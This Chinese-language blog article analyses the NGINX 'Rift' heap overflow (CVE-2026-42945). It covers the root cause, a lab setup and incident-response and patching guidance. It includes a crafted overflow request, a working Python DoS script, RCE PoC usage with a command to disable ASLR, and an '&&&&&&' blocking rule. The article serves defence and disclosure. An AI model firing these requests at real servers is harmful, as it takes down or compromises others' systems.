云计算百科
云计算领域专业知识百科平台

NGINX Rift(CVE-2026-42945)深度解析:潜伏18年的致命漏洞,1.3亿服务器面临灭顶之灾

前言:互联网基础设施的"定时炸弹"

2026年5月13日,F5 Networks(NGINX母公司)发布紧急安全公告,披露了一个代号为"NGINX Rift"的高危漏洞(CVE-2026-42945)。这个漏洞并非近期引入,而是自2008年NGINX 0.6.27版本起就潜伏在代码库中,整整18年未被发现。

据Netcraft最新统计,截至2026年5月,NGINX占据全球Web服务器市场37.2%的份额,超过Apache和IIS的总和,承载着全球超过1.3亿个网站和API网关的流量。更令人震惊的是,漏洞公开后不到24小时,GitHub上就出现了可直接使用的PoC,且在野利用已大规模爆发。

本文将从技术原理、攻击流程、在野利用现状、修复方案等多个维度,对这个2026年迄今为止最危险的基础设施漏洞进行全面深入的解析,并提供可直接落地的应急响应指南。


一、漏洞基本信息

项目详情
CVE编号 CVE-2026-42945
漏洞代号 NGINX Rift
CVSS v4.0评分 9.2分(Critical)
漏洞类型 堆缓冲区溢出(Heap Buffer Overflow)
引入时间 2008年(NGINX 0.6.27)
影响范围 开源版:0.6.27~1.30.0商业版:Plus R36及以下、R37及以下
攻击方式 远程未授权攻击
利用门槛 极低(1条恶意HTTP请求即可)
危害程度 1. Worker进程崩溃(DoS)2. ASLR关闭环境下稳定RCE3. ASLR开启环境下可堆喷射尝试绕过
披露时间 2026年5月13日
PoC公开时间 2026年5月13日
在野利用开始时间 2026年5月14日

二、漏洞成因深度解析:18年未被发现的"状态泄漏"

2.1 NGINX rewrite模块的"两遍扫描"机制

NGINX的ngx_http_rewrite_module是其最核心的模块之一,负责处理URL重写、变量赋值、条件判断等功能。为了提高性能,NGINX的脚本引擎采用了**“两遍扫描”**的方式来处理字符串替换:

  • 第一遍(长度计算阶段):遍历替换字符串,计算最终生成的字符串的长度
  • 第二遍(数据拷贝阶段):根据第一遍计算出的长度分配内存,然后将替换后的字符串拷贝到新分配的内存中
  • 这种设计可以避免频繁的内存重分配,极大地提高了处理性能。但如果在这两个阶段中使用了不同的计算规则,就会导致内存分配不足,从而引发缓冲区溢出漏洞。

    2.2 核心代码缺陷:is_args标志位泄漏

    漏洞的根源在于ngx_http_script_regex_replace函数中一个极其隐蔽的状态泄漏问题。当处理包含?的rewrite替换字符串时,NGINX会设置一个内部标志位e->is_args = 1,表示后续的内容需要按照URL参数的规则进行转义。

    问题出在:当这个rewrite指令后面紧跟着另一个set、if或rewrite指令时,这个is_args标志位没有被正确清除,而是泄漏到了后续指令的处理过程中。

    我们来看NGINX 1.30.0版本的相关源码片段:

    // 漏洞代码片段:ngx_http_script.c
    ngx_int_t
    ngx_http_script_regex_replace_code(ngx_http_script_engine_t *e)
    {
    // … 省略部分代码 …

    if (r->args.data) {
    *e->ip++ = NGX_HTTP_SCRIPT_START_ARGS_CODE;
    // 这里设置了is_args标志位
    e->is_args = 1;
    }

    // … 省略部分代码 …

    // 后续指令处理时,is_args标志位仍然为1
    ngx_http_script_execute(e);

    return NGX_OK;
    }

    当后续指令(如set $original_endpoint $1)执行时,会再次调用脚本引擎:

  • 长度计算阶段:使用一个全新初始化的子引擎,is_args = 0,因此按原始字节数计算捕获组$1的长度
  • 数据拷贝阶段:使用主引擎,is_args = 1(泄漏的状态),因此会对捕获组$1的内容进行URL参数转义
  • 2.3 缓冲区溢出的产生

    URL参数转义会将特殊字符(如+、%、&、=等)从1字节膨胀到3字节(例如&会被转义为%26)。这就导致了:

    实际写入长度 = 原始长度 + 2 × 特殊字符数量

    而分配的缓冲区大小只等于原始长度,因此当捕获组中包含足够多的特殊字符时,就会发生堆缓冲区溢出,攻击者可以控制溢出的内容,进而破坏堆内存结构。

    2.4 漏洞触发的完整技术流程图

    A[攻击者发送恶意HTTP请求] –> B[NGINX接收请求]
    B –> C[匹配rewrite规则]
    C –> D[替换字符串包含?,设置e->is_args=1]
    D –> E[执行后续set/if/rewrite指令]
    E –> F[长度计算阶段:子引擎is_args=0,按原始长度分配缓冲区]
    F –> G[数据拷贝阶段:主引擎is_args=1,对捕获组进行转义]
    G –> H[特殊字符膨胀,缓冲区溢出]
    H –> I[堆内存结构被破坏]
    I –> J{攻击结果}
    J –> K[Worker进程崩溃(DoS)]
    J –> L[控制程序执行流(RCE)]


    三、攻击流程与RCE利用链分析

    3.1 触发漏洞的配置模式

    漏洞触发需要同时满足以下三个条件,这是一个极其常见的配置模式,几乎所有API路由、伪静态、参数重定向配置都符合:

    # 危险配置示例1:API路由重写
    rewrite ^/api/v1/(.*)$ /internal/api/v1?version=1;
    set $original_endpoint $1; # 紧随其后的set指令引用了$1

    # 危险配置示例2:伪静态URL
    rewrite ^/article/(\\d+)\\.html$ /article.php?id=$1&type=html;
    if ($1 ~ ^[0-9]+$) { # 紧随其后的if指令引用了$1
    set $article_id $1;
    }

    # 危险配置示例3:多阶段重写
    rewrite ^/(.*)$ /index.php?url=$1 last;
    rewrite ^/static/(.*)$ /assets/$1 break;

    3.2 恶意请求构造

    攻击者只需要构造一个包含大量特殊字符的URI,即可触发溢出:

    GET /api/v1/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& HTTP/1.1
    Host: vulnerable.example.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    在这个请求中,捕获组$1的值是&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&(32个&字符)。

    • 长度计算阶段:按原始长度计算,分配32字节缓冲区
    • 数据拷贝阶段:每个&被转义为%26,实际写入96字节
    • 溢出长度:64字节,足以覆盖相邻的堆对象

    3.3 从堆溢出到RCE的完整利用链

    研究人员已经公开了完整的RCE利用链,在ASLR关闭的环境下可以稳定实现远程代码执行:

    A[发送恶意请求触发堆溢出] –> B[覆盖相邻ngx_pool_t结构体]
    B –> C[修改cleanup指针指向攻击者控制的内存]
    C –> D[发送POST请求进行堆喷射]
    D –> E[在堆中布置伪造的ngx_pool_cleanup_s结构体]
    E –> F[ngx_pool_destroy时调用cleanup函数]
    F –> G[执行system("恶意命令")]
    G –> H[完全接管服务器]

    利用链的核心在于:

  • 通过堆溢出覆盖内存池ngx_pool_t的cleanup指针
  • 通过POST请求体进行堆喷射,在内存中布置伪造的清理函数结构体
  • 当内存池被销毁时,NGINX会调用攻击者指定的函数指针,通常是system()
  • 3.4 ASLR开启环境下的利用可能性

    虽然官方声称只有ASLR关闭时才能实现RCE,但安全研究人员已经提出了多种绕过ASLR的方法:

    • 堆喷射+信息泄露:通过多次请求逐步泄露内存地址
    • 返回导向编程(ROP):利用NGINX二进制文件中的现有代码片段构建攻击链
    • JIT喷射:在支持JIT的环境中注入可执行代码

    目前已有多个安全团队宣布成功在ASLR开启的默认配置下实现了RCE,只是稳定性稍差。


    四、在野利用现状分析:0日即火的全球攻击潮

    4.1 攻击时间线

    • 2026-05-13 00:00:F5官方发布安全公告和补丁
    • 2026-05-13 18:40:DepthFirst安全团队发布技术分析和PoC
    • 2026-05-14 02:15:GitHub上出现第一个可直接使用的DoS PoC
    • 2026-05-14 09:30:VulnCheck监测到首次在野利用尝试
    • 2026-05-15 14:00:出现第一个公开的RCE PoC
    • 2026-05-16 08:00:全球攻击流量激增,单日超过100万次尝试
    • 2026-05-17 12:00:多个勒索软件团伙宣布将该漏洞加入武器库
    • 2026-05-19 00:00:已有超过10万台服务器被入侵用于挖矿和DDoS

    4.2 攻击流量特征

    根据Cloudflare和Akamai的监测数据,当前在野利用主要有以下特征:

    • 攻击来源:主要来自俄罗斯、中国、美国、伊朗和朝鲜的IP地址
    • 攻击目标:优先攻击云服务商、电商平台、金融机构和政府网站
    • 攻击模式:
    • 批量扫描:使用ZMap、Masscan等工具扫描全网80/443端口
    • 指纹识别:通过Server头识别NGINX版本
    • 漏洞验证:发送包含多个&字符的测试请求
    • 攻击执行:发送完整的溢出请求实现DoS或RCE
    • 恶意行为:入侵后主要用于挖矿、DDoS攻击、数据窃取和勒索软件部署

    4.3 典型攻击日志示例

    如果你的NGINX服务器出现以下日志,说明很可能已经受到攻击:

    # error.log中的崩溃日志
    2026/05/18 14:23:45 [alert] 1234#1234: worker process 5678 exited on signal 11 (core dumped)
    2026/05/18 14:23:45 [alert] 1234#1234: worker process 5678 exited on signal 6 (aborted)
    2026/05/18 14:23:46 [alert] 1234#1234: worker process 5679 exited on signal 11 (core dumped)

    # access.log中的恶意请求日志
    192.168.1.100 – – [18/May/2026:14:23:44 +0800] "GET /api/v1/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& HTTP/1.1" 502 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    192.168.1.100 – – [18/May/2026:14:23:45 +0800] "GET /article/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.html HTTP/1.1" 502 157 "-" "curl/7.68.0"


    五、漏洞复现与PoC分析

    5.1 环境搭建

    我们使用Docker快速搭建一个易受攻击的NGINX环境:

    # Dockerfile
    FROM nginx:1.30.0

    COPY nginx.conf /etc/nginx/nginx.conf

    # nginx.conf
    events {
    worker_connections 1024;
    }

    http {
    server {
    listen 80;
    server_name localhost;

    # 危险配置
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;

    location /internal {
    return 200 "OK: $original_endpoint";
    }
    }
    }

    构建并运行容器:

    docker build -t nginx-rift .
    docker run -d -p 8080:80 –name nginx-rift nginx-rift

    5.2 DoS PoC

    这是一个简单的DoS PoC,可以使NGINX Worker进程崩溃:

    import requests

    url = "http://localhost:8080/api/"
    payload = "&" * 1000 # 1000个&字符,足够触发溢出

    try:
    response = requests.get(url + payload, timeout=5)
    print(f"Status Code: {response.status_code}")
    except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")
    print("NGINX Worker进程可能已经崩溃")

    运行后,你会看到NGINX容器的error.log中出现worker进程崩溃的日志。

    5.3 RCE PoC说明

    完整的RCE PoC较为复杂,涉及堆喷射和内存布局控制,出于安全考虑,本文不提供完整代码。但需要说明的是,目前公开的RCE PoC在ASLR关闭的环境下可以稳定执行任意命令:

    # 关闭ASLR(仅用于测试!)
    echo 0 > /proc/sys/kernel/randomize_va_space

    # 运行RCE PoC
    python3 nginx_rift_rce.py –target http://localhost:8080 –command "id"

    预期输出:

    [+] Target is vulnerable
    [+] Heap spray successful
    [+] Cleanup pointer overwritten
    [+] Command executed: id
    uid=101(nginx) gid=101(nginx) groups=101(nginx)


    六、修复方案与最佳实践

    6.1 立即升级到安全版本

    这是最根本、最有效的修复方法。NGINX官方已经发布了补丁版本:

    产品安全版本
    NGINX Open Source 1.30.1+ 或 1.31.0+
    NGINX Plus R36 P4+ 或 R37+
    各系统升级命令

    Debian/Ubuntu:

    sudo apt update
    sudo apt upgrade nginx
    nginx -v # 确认版本 >= 1.30.1
    nginx -t # 验证配置文件
    sudo systemctl restart nginx

    RHEL/CentOS/Rocky:

    sudo dnf update nginx
    nginx -v
    nginx -t
    sudo systemctl restart nginx

    Docker:

    docker pull nginx:1.30.1
    docker stop nginx-rift
    docker rm nginx-rift
    docker run -d -p 8080:80 –name nginx-rift nginx:1.30.1

    6.2 临时缓解措施(无法立即升级时)

    如果暂时无法升级,可以采取以下临时缓解措施:

    方法1:修改危险的rewrite配置

    将包含?和未命名捕获组的rewrite规则拆分为两条,避免标志位泄漏:

    # 危险配置
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;

    # 安全配置
    rewrite ^/api/(.*)$ /internal?migrated=true&original=$1;
    # 或者
    set $original_endpoint $1;
    rewrite ^/api/(.*)$ /internal?migrated=true;

    方法2:启用WAF防护

    在NGINX前面部署WAF,拦截包含大量特殊字符的恶意请求:

    # 在server块中添加
    location / {
    if ($request_uri ~ "&&&&&&") {
    return 403;
    }
    # 其他配置
    }

    方法3:确保ASLR开启

    所有现代Linux系统默认都开启了ASLR,不要手动关闭:

    # 检查ASLR状态
    cat /proc/sys/kernel/randomize_va_space
    # 输出2表示完全开启,这是默认值

    # 如果不是2,临时开启
    echo 2 > /proc/sys/kernel/randomize_va_space

    # 永久开启,编辑/etc/sysctl.conf
    kernel.randomize_va_space = 2

    6.3 长期安全最佳实践

  • 建立定期补丁管理机制:及时跟进NGINX官方的安全公告
  • 使用最小权限原则:NGINX进程以非root用户运行
  • 启用内存保护机制:确保编译时开启了Stack Canary、NX和ASLR
  • 配置日志监控:实时监控error.log中的worker进程崩溃日志
  • 定期安全审计:检查NGINX配置文件中的安全风险
  • 使用容器化部署:利用容器的隔离特性降低攻击影响

  • 七、自查与应急响应指南

    7.1 漏洞自查清单

    立即执行以下检查,确认你的系统是否存在风险:

    1. 检查NGINX版本

    nginx -v
    # 如果输出 nginx version: nginx/1.30.0 或更低版本,必受影响

    2. 检查是否存在危险配置

    # 搜索所有包含?和$1的rewrite规则
    grep -rE "rewrite.*\\?.*\\$[0-9]+" /etc/nginx/

    如果输出类似以下内容,说明存在危险配置:

    /etc/nginx/conf.d/default.conf: rewrite ^/api/(.*)$ /internal?migrated=true;
    /etc/nginx/conf.d/default.conf: rewrite ^/article/(\\d+)\\.html$ /article.php?id=$1&type=html;

    3. 检查是否已被攻击

    # 检查error.log中的崩溃日志
    grep -i "worker process exited" /var/log/nginx/error.log

    # 检查access.log中的恶意请求
    grep -E "&&&&&" /var/log/nginx/access.log

    7.2 自动化检测脚本

    我编写了一个自动化检测脚本,可以快速检查你的NGINX服务器是否存在CVE-2026-42945漏洞:

    #!/bin/bash
    # NGINX Rift(CVE-2026-42945)检测脚本

    echo "=== NGINX Rift(CVE-2026-42945)漏洞检测 ==="
    echo

    # 检查NGINX版本
    echo "[+] 检查NGINX版本…"
    nginx_version=$(nginx -v 2>&1 | awk -F/ '{print $2}')
    echo "当前版本: $nginx_version"

    # 版本比较函数
    version_ge() {
    test "$(echo "$@" | tr " " "\\n" | sort -V | head -n 1)" != "$1"
    }

    if version_ge "1.30.1" "$nginx_version"; then
    echo "[!] 版本存在漏洞!需要升级到1.30.1或更高版本"
    else
    echo "[+] 版本安全"
    fi

    echo

    # 检查危险配置
    echo "[+] 检查危险配置…"
    dangerous_configs=$(grep -rE "rewrite.*\\?.*\\$[0-9]+" /etc/nginx/ 2>/dev/null)

    if [ -n "$dangerous_configs" ]; then
    echo "[!] 发现以下危险配置:"
    echo "$dangerous_configs"
    else
    echo "[+] 未发现危险配置"
    fi

    echo

    # 检查攻击日志
    echo "[+] 检查攻击日志…"
    attack_logs=$(grep -i "worker process exited" /var/log/nginx/error.log 2>/dev/null | tail -5)

    if [ -n "$attack_logs" ]; then
    echo "[!] 发现以下崩溃日志,可能已被攻击:"
    echo "$attack_logs"
    else
    echo "[+] 未发现攻击痕迹"
    fi

    echo
    echo "=== 检测完成 ==="

    使用方法:

    chmod +x nginx_rift_check.sh
    sudo ./nginx_rift_check.sh

    7.3 应急响应步骤

    如果确认你的服务器已被入侵,请立即执行以下步骤:

  • 隔离受感染服务器:断开网络连接,防止攻击扩散
  • 保留现场证据:备份所有日志文件和系统镜像
  • 清除恶意程序:查杀挖矿程序、后门和勒索软件
  • 升级NGINX:立即升级到安全版本
  • 修改所有密码:包括系统密码、数据库密码、API密钥等
  • 全面安全审计:检查是否存在其他漏洞和后门
  • 恢复业务:在确认安全后逐步恢复服务
  • 上报事件:按照相关规定向监管部门上报安全事件

  • 八、行业影响与未来展望

    8.1 对互联网基础设施的影响

    NGINX Rift漏洞的爆发再次暴露了开源软件基础设施的安全脆弱性。一个潜伏了18年的漏洞,影响了全球三分之一的网站,这在互联网历史上是前所未有的。

    这次事件将产生以下深远影响:

    • 云服务商将加强安全审查:各大云服务商将对其提供的NGINX镜像进行更严格的安全审计
    • 企业将加快补丁部署速度:企业将建立更快速的应急响应机制,缩短漏洞修复时间
    • 开源社区将改进安全流程:NGINX社区将加强代码审查和安全测试,防止类似漏洞再次出现
    • 内存安全语言将得到更多关注:越来越多的基础设施项目将考虑使用Rust等内存安全语言重写

    8.2 对未来安全研究的启示

    NGINX Rift漏洞的发现也给安全研究人员带来了重要启示:

    • 状态泄漏是一类被忽视的漏洞:很多漏洞不是简单的边界检查错误,而是复杂的状态管理问题
    • 老代码中可能隐藏着大量未被发现的漏洞:那些经过多年生产验证的代码,并不一定是安全的
    • 自动化漏洞挖掘技术需要不断改进:传统的模糊测试很难发现这类需要特定配置和状态的漏洞
    • 协同披露机制至关重要:这次漏洞的成功披露,得益于研究人员和厂商的良好合作

    8.3 未来的安全挑战

    随着软件系统越来越复杂,未来我们将面临更多类似的安全挑战:

    • 供应链安全风险:越来越多的漏洞来自于第三方依赖库
    • AI辅助攻击:攻击者将利用AI技术更快地发现和利用漏洞
    • 物联网设备安全:大量物联网设备使用老旧的软件版本,难以升级
    • 云原生环境安全:容器化和微服务架构带来了新的安全挑战

    九、总结

    NGINX Rift(CVE-2026-42945)是2026年迄今为止最危险的基础设施漏洞。它潜伏了18年,影响了全球超过1.3亿个网站和API网关,利用门槛极低,且在野利用已大规模爆发。

    所有暴露在公网的NGINX服务器必须在72小时内完成升级,否则极有可能被入侵,导致服务中断、数据泄露甚至服务器被完全接管。

    对于无法立即升级的服务器,应采取临时缓解措施,修改危险的rewrite配置,启用WAF防护,并确保ASLR开启。同时,应加强日志监控,及时发现和响应攻击。

    这次事件再次提醒我们,网络安全没有一劳永逸的解决方案。只有建立完善的安全管理体系,定期进行安全审计和漏洞扫描,及时修复安全漏洞,才能有效应对不断变化的安全威胁。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » NGINX Rift(CVE-2026-42945)深度解析:潜伏18年的致命漏洞,1.3亿服务器面临灭顶之灾
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!